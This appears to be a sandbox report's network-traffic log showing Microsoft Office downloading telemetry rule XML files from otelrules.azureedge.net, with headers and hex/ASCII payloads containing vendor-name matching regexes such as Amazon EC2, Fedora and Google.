2024-11-18 20:04:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:07 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200407Z-16547b76f7fhvzzthC1DFW5570000000068g00000000vfrp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:07 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:07 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:07 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 373f0e0b-901e-008f-80b0-3767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200407Z-1866b5c5fbbls4jchC1DFWnmb400000001r0000000004sft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:07 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:07 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:07 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200407Z-16547b76f7f6892shC1DFWawd0000000039g0000000092dp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:07 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:07 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:07 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200407Z-16547b76f7ff9zf4hC1DFW2pfc00000003rg000000012x20 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:07 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:07 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:07 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200407Z-16547b76f7fhv4d5hC1DFW7h0n00000004p000000000cnas x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:07 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:08 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:08 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200408Z-1866b5c5fbbx98hfhC1DFWuqmg00000004yg00000000pv19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:08 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:08 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: a1cedf95-b01e-003d-7f9b-38d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200408Z-1866b5c5fbbzzh8chC1DFWzc5c00000000qg000000000vbe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:08 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200408Z-16547b76f7fhvzzthC1DFW557000000006f00000000009h3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:08 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200408Z-16547b76f7fhv4d5hC1DFW7h0n00000004rg0000000016a0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:08 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:08 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7cd0f64a-201e-0071-70c6-37ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200408Z-1866b5c5fbbx98hfhC1DFWuqmg000000051000000000d5pr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:08 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200408Z-16547b76f7fd4rc5hC1DFWkzhw00000006ng0000000050pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:09 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200409Z-1866b5c5fbbqmbqjhC1DFWwgvc00000005w00000000092er x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S 